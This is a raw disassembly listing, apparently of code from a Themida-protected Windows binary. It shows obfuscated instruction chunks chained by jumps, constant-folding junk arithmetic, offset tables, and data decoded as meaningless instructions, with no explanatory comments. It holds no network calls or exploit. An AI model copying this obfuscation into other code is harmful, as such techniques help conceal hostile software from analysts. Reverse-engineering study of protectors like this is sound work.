loc_5904AE: ; CODE XREF: sub_584787+BFC3j
pop esi
sub [esp+4], ebp
add dword ptr [esp+4], 200A62CDh
add dword ptr [esp+4], 3E5637D0h
sub esp, 4
mov [esp+0], edi
push ebp
mov ebp, 25F67C85h
mov edi, ebp
jmp loc_586F5F
; ---------------------------------------------------------------------------
loc_5904D6: ; CODE XREF: sub_584787+55F5j
mov ch, 35h
inc ch
push small 25FBh
mov word ptr [esp-0Eh+arg_8+2], bx
push edx
mov dl, 2Eh
xor dl, 7Ah
xor dl, 87h
mov bh, dl
jmp loc_587A1C
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_5904F2 proc near ; DATA XREF: Themida_:005842E0o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058FC4B SIZE 0000001F BYTES
lodsb
jmp loc_58FC4B
sub_5904F2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_5904F8: ; CODE XREF: sub_584787+8F9Cj
shr ecx, 4
xor ecx, 15CFC07h
push ecx
pop ebx
jmp loc_58B962
; ---------------------------------------------------------------------------
loc_590508: ; CODE XREF: sub_584787+B4B9j
push edi
mov edi, esp
add edi, 4
add edi, 4
push edi
push [esp+24h+var_20]
jmp loc_58868E
; ---------------------------------------------------------------------------
loc_59051E: ; CODE XREF: sub_584787+B5FCj
add ecx, ebp
pop ebp
xor ecx, 637F3AE3h
shr ecx, 4
shl ecx, 3
sub ecx, 0E0805A4Fh
jmp loc_5895B8
; ---------------------------------------------------------------------------
loc_590538: ; CODE XREF: sub_584787+2083j
push edx
push 5851h
mov [esp+0], ebx
mov ebx, 787EC5h
mov edx, 787EC7h
jmp loc_5887E5
; ---------------------------------------------------------------------------
loc_590550: ; CODE XREF: sub_584787+9FEj
sub ebx, ebp
pop ebp
add ebx, 1F44934h
jmp loc_588EC8
; ---------------------------------------------------------------------------
loc_59055E: ; CODE XREF: sub_584787+A685j
push 59D5486Fh
pop esi
xor esi, edi
xor edi, esi
jmp loc_5882D9
; ---------------------------------------------------------------------------
loc_59056D: ; CODE XREF: sub_584787+4DA7j
sub eax, edi
pop edi
sub eax, 65662318h
add eax, 3A8150Ah
jmp loc_58A3D4
; ---------------------------------------------------------------------------
loc_59057F: ; CODE XREF: sub_584787+44AFj
sub al, ch
pop ecx
mov ecx, [esp+10h+var_10]
add esp, 4
push ecx
mov ch, 85h
push eax
mov ah, 87h
sub ah, 0B4h
shr ah, 7
and ah, 6Bh
add ah, 1
xor ah, 45h
sub ch, 0EDh
jmp loc_58C7D9
; ---------------------------------------------------------------------------
loc_5905A8: ; CODE XREF: sub_584787+354Aj
mov dx, word ptr [esp+42h+var_42]
push ebx
push 6F1Bh
mov [esp+0], esp
jmp loc_584A4F
; ---------------------------------------------------------------------------
loc_5905BA: ; CODE XREF: sub_584787+4A53j
sub esi, 3BC9129Bh
add esi, 65A768DDh
add esi, 6D812CDh
xor esi, 89F2D2BEh
add ebp, esi
pop esi
jmp loc_586968
; ---------------------------------------------------------------------------
loc_5905DA: ; CODE XREF: sub_584787+5F79j
push [esp+58h+var_58]
jmp loc_58BA76
; ---------------------------------------------------------------------------
loc_5905E2: ; CODE XREF: sub_584787+98AEj
shl bl, 1
sub bl, 0B7h
jmp loc_58D5A2
; ---------------------------------------------------------------------------
loc_5905EC: ; CODE XREF: sub_584787+33D9j
sub edx, 5C3D6989h
sub edx, esi
add edx, 5C3D6989h
pop esi
jmp loc_58BADF
; ---------------------------------------------------------------------------
loc_590600: ; CODE XREF: sub_584787+8C40j
push edx
mov edx, 4
sub ebp, 6C2961DCh
add ebp, edx
jmp loc_587B3F
; ---------------------------------------------------------------------------
loc_590613: ; CODE XREF: sub_584787+7C6Dj
mov [esp+6+var_8+2], eax
push esi
mov esi, 7D0D462Ah
push ebx
mov ebx, esi
mov eax, ebx
jmp loc_588F5B
; ---------------------------------------------------------------------------
loc_590626: ; CODE XREF: sub_584787+B14Fj
mov ecx, 2
add ebx, ecx
jmp loc_586FD2
; ---------------------------------------------------------------------------
loc_590632: ; CODE XREF: sub_584787+417Aj
pop ebx
add edi, ebp
push dword ptr [esp+0]
jmp loc_58BEE8
; ---------------------------------------------------------------------------
loc_59063D: ; CODE XREF: sub_584787-310j
mov word ptr [esp+4+var_4], bx
push ecx
mov cl, 0AFh
mov bh, 50h
sub bh, 9Bh
push ecx
jmp loc_58C876
; ---------------------------------------------------------------------------
loc_59064F: ; CODE XREF: sub_584787+AC56j
mov ebx, 4
push ecx
mov ecx, 459A11ACh
sub edi, 34911912h
sub edi, ecx
add edi, 34911912h
pop ecx
add edi, 15DC1E6Dh
add edi, ebx
sub edi, 15DC1E6Dh
add edi, 459A11ACh
pop ebx
push ebx
mov ebx, 4
sub edi, ebx
pop ebx
xor edi, [esp+52h+var_54+2]
xor [esp+52h+var_54+2], edi
xor edi, [esp+52h+var_54+2]
mov esp, [esp+52h+var_54+2]
mov [esp+52h+var_54+2], ecx
mov ecx, 1
jmp loc_5903ED
; ---------------------------------------------------------------------------
loc_5906A0: ; CODE XREF: sub_584787+4F2j
push 165Fh
mov [esp-8+arg_4], ebx
mov ebx, 62C9583Dh
add ebx, 51716923h
push ecx
mov ecx, 11F579E8h
jmp loc_58CA41
; ---------------------------------------------------------------------------
loc_5906BE: ; CODE XREF: sub_584787+9567j
neg bh
and bh, 62h
shl bh, 4
not bh
dec bh
xor bh, 3Eh
add al, bh
pop ebx
jmp loc_58CB89
; END OF FUNCTION CHUNK FOR sub_584787
; ---------------------------------------------------------------------------
loc_5906D5: ; DATA XREF: Themida_:005843ACo
mov ecx, [esp]
jmp loc_589E92
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_5906DD: ; CODE XREF: sub_584787+A23Cj
sub al, 59h
jmp loc_58832E
; ---------------------------------------------------------------------------
loc_5906E4: ; CODE XREF: sub_584787+1102j
pop edx
jmp loc_585E62
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_5906EA proc near ; CODE XREF: sub_584787+33BFj
var_4 = dword ptr -4
push ebp
push dword ptr [esp+4]
pop ebp
pop [esp+4+var_4]
pop esp
shr ecx, 7
push dword ptr [edi+1Ch]
mov eax, [esp+0]
push 34F5h
mov [esp+4+var_4], ebx
push esp
pop ebx
push esi
jmp loc_58CB55
sub_5906EA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_584787
loc_59070D: ; CODE XREF: sub_584787+2D90j
mov edi, 562D6E2Ah
jmp loc_58F00F
; ---------------------------------------------------------------------------
loc_590717: ; CODE XREF: sub_584787+8332j
mov esi, 468E6702h
shl esi, 2
add esi, 1DDE64A2h
jmp loc_58A841
; ---------------------------------------------------------------------------
loc_59072A: ; CODE XREF: sub_584787+2024j
dec al
not al
add al, 6
push ebx
mov bh, al
mov dh, bh
jmp loc_58A56F
; ---------------------------------------------------------------------------
loc_59073A: ; CODE XREF: sub_584787+BB24j
sub [esp+0Eh+var_8+2], 0D587E59h
add [esp+0Eh+var_8+2], 296B2389h
jmp loc_5904AE
; ---------------------------------------------------------------------------
loc_59074F: ; CODE XREF: sub_584787+A920j
mov ecx, [esp+0]
add esp, 4
pop ebx
jmp loc_5857DF
; END OF FUNCTION CHUNK FOR sub_584787
; =============== S U B R O U T I N E =======================================
sub_59075E proc near ; CODE XREF: sub_584787+59C3j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058447C SIZE 0000000E BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 4
push esi
mov esi, 4DAB04B0h
jmp loc_58447C
sub_59075E endp
; ---------------------------------------------------------------------------
dd offset byte_5E96EF
dd 0E237DCAAh, 12FF4Ch, 0FA44C2CAh, 5EF65Ah, 5EA23Fh, 7C90EB94h
dd 207h, 2, 1, 2, 0FA44C2CAh, 5 dup(0)
dd offset loc_597169
dd offset loc_59510E
dd offset loc_5A1D2A
dd offset loc_5A5256
dd offset loc_5A1A90
dd offset loc_594D95
dd offset loc_597B37
dd offset loc_5996B6
dd offset loc_5919CF
dd offset loc_59869E
dd offset loc_5A5960
dd offset off_594CD9
dd offset loc_5A3A6B
dd offset loc_5A27CC
dd offset word_59DA4A
dd offset loc_59C4A4
dd offset loc_59F8C9
dd offset loc_59ABFD
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 4Fh, 5Ah, 0
dd offset loc_59E6FD
dd offset loc_5A3442
; ---------------------------------------------------------------------------
jmp short loc_59087A
; ---------------------------------------------------------------------------
pop ecx
add [ecx-68FFA5F9h], cl
push ebx
pop ecx
add ch, dh
pop ebp
pop ecx
add [esi+eax*8+3A5E0059h], ch
pop ecx
add [esp+eax*2-50EEFFA7h], dl
pop ecx
add [esi-65FFA6F1h], bh
inc esi
pop edx
add [edx-20FFA6E7h], bl
xor ebx, [edx+0]
push 0B90059B1h
push ebp
pop ecx
add [edx+ecx*4-0F0DFFA7h], bl
pop ecx
add [eax-73h], cl
pop ecx
add [edi+0E005975h], bl
xor [ecx+0], ebx
pop ebx
sub al, 59h
add [ebp+1F0059A9h], bl
clc
pop ecx
add dh, bl
mov dh, 59h
add [esi], bl
sub [ecx+0], bl
xor esi, [esi-4FF4FFA7h]
pop ecx
add [ebp+2F0059ECh], cl
push edi
loc_59087A: ; CODE XREF: Themida_:0059080Cj
pop ecx
add [esi+ebp*2+59h], ah
add [esi+33h], dl
pop edx
add [edi+6Ch], cl
pop ecx
add ah, al
or eax, 0B23005Ah
pop edx
add [ecx-48h], al
pop ecx
add [ebx+63h], bl
pop ecx
add ds:0C4005944h, bl
neg dword ptr [ecx+0]
fcom st(1)
pop ecx
add [ebx+31005958h], al
cmp ebx, [ecx+0]
push esp
lodsd
pop ecx
add [ebx+29h], ch
pop edx
add al, bh
or bl, [edx+0]
add al, 0FDh
pop ecx
add [edi+3500592Eh], dl
xor eax, 2220059h
pop edx
add al, bh
das
pop ecx
add ch, dl
dec ebx
pop ecx
add dh, bh
jns short near ptr loc_59092B+1
add [esi-5BFFA646h], al
mov dword ptr [ecx+0], offset loc_591846
mov ah, 3Ah
pop ecx
add [ebp+9], cl
pop edx
add [esi+7C005A18h], cl
mov dh, 59h
add [edi-6FFA6EDh], cl
rcr dword ptr [ecx+0], 50h
xchg eax, ecx
pop ecx
add [ebx-49h], dh
pop ecx
add [ecx-3CFFA629h], dh
cmp al, 5Ah
add al, cl
cmp bl, [ecx+0]
std
fistp dword ptr [ecx+0]
push es
cmp al, 59h
add ah, bl
in eax, dx
pop ecx
add [ebx-2Dh], bl
pop ecx
add ch, dh
loopne loc_590978
add [edx], dl
sbb [edx+0], bl
dec esp
pop ss
pop edx
add [esi+7Bh], al
pop ecx
loc_59092B: ; CODE XREF: Themida_:005908D1j
add [ebx], bh
dec ebx
pop ecx
add ah, cl
retf 59h
; ---------------------------------------------------------------------------
pusha
push ds
pop ecx
add [edi+12005A28h], cl
inc esi
pop ecx
add bl, bh
dec ecx
pop edx
add [edi-1Dh], cl
pop ecx
add [ebp+ebx*4+59h], bl
add ah, bl
pushf
pop ecx
add [edx+ecx*2-0B3CFFA6h], bl
pop ecx
add [edx+3005962h], al
call fword ptr [ecx+0]
sub al, 8
pop edx
add [edi], ch
dec ecx
pop edx
add [ebp+ecx*4+59h], dh
add bh, al
xchg eax, edx
pop ecx
add [eax-67FFA6ABh], dh
sbb bl, [edx+0]
loc_590978: ; CODE XREF: Themida_:0059091Dj
jmp near ptr 0AB596346h
; ---------------------------------------------------------------------------
db 0Bh, 59h, 0
dd offset loc_5A366A
dd offset loc_593E7F
dd offset loc_59F9F3
dd offset loc_5A50A8
dd offset loc_5A47A2
dd offset loc_594534
dd offset sub_5A28F6
dd offset sub_59BF22
dd offset sub_59A1A3
dd offset sub_5A2D8D
dd offset sub_599AE1
dd offset sub_595DDF
dd offset sub_590B9C
dd offset sub_5A17BF
dd offset loc_5939CE
dd offset loc_593C52
dd offset loc_59E893
dd offset loc_59AE0E
dd offset byte_5A354B
dd offset loc_5997E4
dd offset loc_596995
dd offset loc_5A50CC
dd offset loc_5A547B
dd offset loc_5A1869
dd offset loc_592721
dd offset loc_5A1EA2
dd offset loc_596297
dd offset sub_59822A
dd offset sub_5A4CF8
dd offset sub_59E9F9
dd offset sub_5A3F6E
dd offset sub_59E918
dd offset sub_592E1C
dd offset sub_5964B7
dd offset sub_59771B
dd offset sub_59F2FC
dd offset sub_59B10A
dd offset sub_5A3536
dd offset sub_5A2801
dd offset sub_5969DC
dd offset sub_5A5596
dd offset sub_5A58F3
dd offset sub_59B2AF
dd offset sub_5A0356
dd offset sub_59E716
dd offset sub_59338E
dd offset sub_5A1A6C
dd offset sub_5A085D
dd offset sub_59DADF
dd offset sub_59C623
dd offset sub_598762
dd offset sub_5A113A
dd offset sub_59B817
; ---------------------------------------------------------------------------
loc_590A54: ; CODE XREF: Themida_:005D1F0Cj
; Themida_:005D1F16j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6144792h
mov eax, edi
add edi, 61444AAh
cmp eax, [edi+2Ch]
jnz short loc_590A72
jmp short loc_590A85
; ---------------------------------------------------------------------------
loc_590A72: ; CODE XREF: Themida_:00590A6Ej
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_590A81
; ---------------------------------------------------------------------------
loc_590A7C: ; CODE XREF: Themida_:00590A83j
add [edi+ecx*4+40h], eax
dec ecx
loc_590A81: ; CODE XREF: Themida_:00590A7Aj
or ecx, ecx
jnz short loc_590A7C
loc_590A85: ; CODE XREF: Themida_:00590A70j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_590A92: ; CODE XREF: Themida_:00590A99j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_590A92
; START OF FUNCTION CHUNK FOR sub_597198
loc_590A9B: ; CODE XREF: Themida_:00590C13j
; Themida_:00590EB2j ...
lodsb
sub esp, 4
jmp loc_5A0A0A
; END OF FUNCTION CHUNK FOR sub_597198
; ---------------------------------------------------------------------------
loc_590AA4: ; CODE XREF: Themida_:005A0C5Dj
mov dl, [esp+4]
mov [esp+4], al
jmp loc_59D7D6
; ---------------------------------------------------------------------------
loc_590AB1: ; CODE XREF: Themida_:005A4C82j
sub esi, 1
push ecx
mov ecx, 641075D9h
shr ecx, 5
shl ecx, 5
jmp loc_5A0264
; =============== S U B R O U T I N E =======================================
sub_590AC5 proc near ; CODE XREF: sub_59390B+10F2Fj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0059140A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005929AB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00593816 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00596A87 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059AE89 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B68F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059C3B9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C450 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CA88 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D4F5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059EFE0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F0BF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059FAC8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059FEA5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A0DF9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A19AA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A1A75 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3F5B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A57D3 SIZE 00000041 BYTES
push ebp
push dword ptr [esp+4]
pop ebp
pop [esp+4+var_4]
pop esp
jmp loc_59D4F5
sub_590AC5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59AB43
loc_590AD4: ; CODE XREF: sub_59AB43-61CCj
shr edx, 3
sub edx, 4318239Bh
shl edx, 3
jmp sub_591F0D
; END OF FUNCTION CHUNK FOR sub_59AB43
; ---------------------------------------------------------------------------
loc_590AE5: ; CODE XREF: Themida_:00595FA5j
add esp, 4
push edx
mov dh, 25h
sub ch, dh
pop edx
shr ch, 1
shl ch, 5
sub ch, 83h
sub al, 0D4h
add al, ch
add al, 0D4h
mov ecx, [esp]
push edi
mov edi, esp
push ebx
mov ebx, 4
add edi, 1F5619DEh
add edi, ebx
jmp loc_59CF4F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_590B18: ; CODE XREF: sub_59CFD4-256Fj
pop ebp
add ebp, 4
push ecx
jmp loc_59D6D8
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_590B25: ; CODE XREF: sub_59E918-CE97j
mov ecx, [esp+10h+var_10]
add esp, 4
add eax, 3B4627EFh
add eax, 7F304BE5h
jmp loc_59DF39
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_590B3D: ; CODE XREF: Themida_:0059E5C5j
pop ecx
mov bl, dl
jmp loc_5A36E5
; ---------------------------------------------------------------------------
loc_590B45: ; CODE XREF: Themida_:00592105j
push dword ptr [esp]
pop edx
add esp, 4
add ebp, 4
push 6F03h
jmp loc_594FA3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_590B5F: ; CODE XREF: sub_5964AF-4BD5j
pop edx
sub [esp-4+arg_4], 6CB2331Bh
sub [esp-4+arg_4], eax
jmp loc_59B325
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
loc_590B71: ; CODE XREF: Themida_:0059F9F6j
push dword ptr [esp]
pop eax
add esp, 4
push edx
push 38D4h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A279E
; =============== S U B R O U T I N E =======================================
sub_590B8D proc near ; CODE XREF: sub_59390B+E402j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00591BB3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005922FF SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00597435 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059AA15 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A151F SIZE 0000001C BYTES
push ebx
jmp loc_5A151F
sub_590B8D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_590B93: ; CODE XREF: sub_59390B+F30Cj
pop esp
push [esp-8+arg_0]
jmp loc_596CA0
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_590B9C proc near ; DATA XREF: Themida_:005909B0o
var_8 = dword ptr -8
lodsd
push edx
push 5983h
mov [esp+8+var_8], edi
jmp sub_59E93C
sub_590B9C endp
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
jmp loc_59EDF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_590BB5: ; CODE XREF: sub_59F8C2-1947j
sub ebx, 0B0CBFD01h
add edx, ebx
pop ebx
push ecx
mov ecx, 4
add edx, ecx
pop ecx
xchg edx, [esp+8+var_8]
jmp loc_5A07C2
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_590BCF: ; CODE XREF: sub_59390B+2059j
mov ecx, [esp+0]
add esp, 4
add ecx, ebx
jmp loc_59FE7E
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_590BDF proc near ; CODE XREF: sub_59654E+1E6Bj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00594463 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595178 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059671B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00598613 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00599A5F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B02C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059E0D7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059EA90 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A198E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2D65 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A357F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A35FB SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A3FA7 SIZE 0000000D BYTES
push ebx
push esi
jmp loc_594463
sub_590BDF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4F4F
loc_590BE6: ; CODE XREF: sub_5A4F4F-F613j
mov ebp, esi
pop esi
add ebx, 37D7C4Eh
push ebp
mov ebp, 765D5DF9h
add ebx, ebp
pop ebp
add ebx, ebp
sub ebx, 765D5DF9h
jmp loc_59254C
; END OF FUNCTION CHUNK FOR sub_5A4F4F
; ---------------------------------------------------------------------------
loc_590C05: ; CODE XREF: Themida_:00597512j
push 4362h
jmp loc_59DDB5
; ---------------------------------------------------------------------------
loc_590C0F: ; CODE XREF: Themida_:00594C1Fj
mov [esp], ax
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_590C18: ; CODE XREF: sub_59E918-B88Ej
dec cl
and cl, 22h
sub cl, 7Dh
push edx
mov dh, 0C1h
push ebx
mov bh, 0A6h
inc bh
xor bh, 0Eh
sub bh, 9Eh
and dh, bh
pop ebx
push eax
push ebx
jmp loc_598CE7
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_590C38: ; CODE XREF: sub_59390B-1C97j
mov [esp-8+arg_0], edi
mov edi, 0BF484Fh
dec edi
not edi
inc edi
or edi, 1E56206Fh
jmp sub_5A23FB
; ---------------------------------------------------------------------------
loc_590C4F: ; CODE XREF: sub_59390B+1C07j
add al, 0C6h
sub al, bl
push 4A6Eh
jmp loc_596676
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_590C5D: ; CODE XREF: Themida_:005A2C90j
sub ebx, ebp
pop ebp
xchg ebx, [esp]
jmp loc_59516C
; ---------------------------------------------------------------------------
loc_590C68: ; CODE XREF: Themida_:005977F1j
pop esi
mov ebx, ebp
jmp loc_592FDA
; ---------------------------------------------------------------------------
loc_590C70: ; CODE XREF: Themida_:0059B385j
add eax, 33912BDDh
pop edx
pop ecx
push ebx
jmp loc_595CEC
; ---------------------------------------------------------------------------
loc_590C7D: ; CODE XREF: Themida_:0059AD8Ej
inc ebp
xor ebp, 0AD93C1EDh
jmp loc_59A29B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_590C89: ; CODE XREF: sub_59CFD4+8758j
sub [esp+8+var_4], ebx
sub [esp+8+var_4], 1AF641FCh
add [esp+8+var_4], 4C5C30B6h
push eax
jmp loc_59B825
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_590CA3: ; CODE XREF: Themida_:00594DF1j
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
add ebp, 4
add ebp, 4
jmp loc_59AF1A
; ---------------------------------------------------------------------------
loc_590CBB: ; CODE XREF: Themida_:00594D36j
or eax, 53AE348Ch
push esi
mov esi, 6F801697h
inc esi
not esi
or esi, 2C9E7B1Eh
sub esi, 30FE7319h
sub eax, 73DB7F1Dh
add eax, esi
add eax, 73DB7F1Dh
pop esi
add edi, eax
push dword ptr [esp]
pop eax
jmp loc_59AEA1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_590CED: ; CODE XREF: sub_59FD45+4107j
pop ebp
add ebx, eax
pop eax
add ebx, edi
push 4135h
mov [esp-4+arg_0], edi
mov edi, 4DFB4F95h
add edi, 0E5A4C9FAh
push ebp
mov ebp, 21232BD0h
push ebx
jmp loc_59B274
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_590D12: ; CODE XREF: Themida_:005A0E04j
add esp, 4
push edi
mov edi, 4B592359h
jmp loc_5A4612
; ---------------------------------------------------------------------------
loc_590D23: ; CODE XREF: Themida_:00596AFFj
mov eax, [esp]
add esp, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_592498
; ---------------------------------------------------------------------------
loc_590D37: ; CODE XREF: Themida_:0059F9EEj
mov al, ch
pop ecx
jmp loc_592F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_590D3F: ; CODE XREF: sub_59E918-1CDj
add esp, 4
push 58F7h
mov [esp+6+var_8+2], ebx
mov bl, 0E8h
sub al, bl
pop ebx
push dx
mov dh, 8Eh
add al, dh
mov dx, [esp+4+var_4]
jmp loc_591A6C
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_590D61: ; CODE XREF: Themida_:005913CAj
not ebp
jmp loc_59CB4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59AB43
loc_590D68: ; CODE XREF: sub_59AB43-493Cj
pop ebx
sub ebx, edx
pop edx
add edi, ebx
jmp loc_59F6D8
; END OF FUNCTION CHUNK FOR sub_59AB43
; ---------------------------------------------------------------------------
loc_590D73: ; CODE XREF: Themida_:005926C5j
pop esi
sub eax, ebx
push ecx
mov ecx, 451A4B94h
xor ecx, 19432A49h
add ecx, 69A1631Ch
add ecx, 0A58F4C3Ch
add eax, ecx
pop ecx
pop ebx
push ecx
push esp
pop ecx
push eax
jmp loc_595C35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_590D9B: ; CODE XREF: sub_59333E+A6B3j
xchg ebp, [esp+8+var_8]
jmp loc_59D9DE
; END OF FUNCTION CHUNK FOR sub_59333E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_590DA3: ; CODE XREF: sub_59390B+4E81j
and esi, 4C1D0516h
add esi, 7EC42299h
sub esi, 5740D82Fh
sub ecx, esi
pop esi
not ecx
push eax
jmp loc_5A52C5
; ---------------------------------------------------------------------------
loc_590DC0: ; CODE XREF: sub_59390B+11B6Bj
mov edi, esp
add edi, 4
jmp loc_5A2FB0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_590DCD: ; CODE XREF: Themida_:00592370j
mov [esp], esi
push 140Dh
mov [esp], edi
push 5CA9h
mov [esp], edx
push 3DD533AEh
pop edx
sub edx, 3B722F91h
mov edi, edx
pop edx
jmp loc_59B422
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_590DF4: ; CODE XREF: sub_59390B+D7B9j
push edi
jmp loc_5A159D
; ---------------------------------------------------------------------------
loc_590DFA: ; CODE XREF: sub_59390B+646Aj
mov ebp, 4662163Ah
jmp loc_599A0D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_590E04: ; CODE XREF: sub_59A75E-4825j
and esi, 35136091h
jmp loc_59E0EF
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_590E0F: ; CODE XREF: sub_5A17BF-1AFEj
xchg edx, esi
push ebx
jmp loc_591635
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
loc_590E17: ; CODE XREF: Themida_:005A00FBj
sub esp, 4
jmp loc_59744D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_590E1F: ; CODE XREF: sub_595BAD+B0F7j
sub [esp+arg_0], 7E772834h
add [esp+arg_0], ebx
add [esp+arg_0], 7E772834h
sub [esp+arg_0], 39880D71h
push dword ptr [esp+0]
jmp loc_5955C7
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_590E43: ; CODE XREF: sub_59A431-5A74j
add ecx, 4
push edx
mov edx, 5B26585Ah
push ecx
mov ecx, 4E48364Dh
jmp loc_5972DD
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_590E5A: ; CODE XREF: sub_5A51EA-737Cj
mov ah, bh
pop ebx
mov cl, dh
mov dh, ah
pop ax
inc cl
jmp loc_59D822
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
loc_590E6A: ; CODE XREF: Themida_:0059C24Bj
and esi, 0C6F46BAh
jmp loc_5A0180
; ---------------------------------------------------------------------------
loc_590E75: ; CODE XREF: Themida_:00594C5Aj
mov [esp], esp
add dword ptr [esp], 4
jmp loc_59694D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_590E81: ; CODE XREF: sub_59CFD4+4159j
mov [esp+14h+var_14], eax
push 4C570F34h
pop eax
sub eax, 2D823EBDh
push 6988h
mov [esp+18h+var_18], eax
jmp loc_5A014A
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
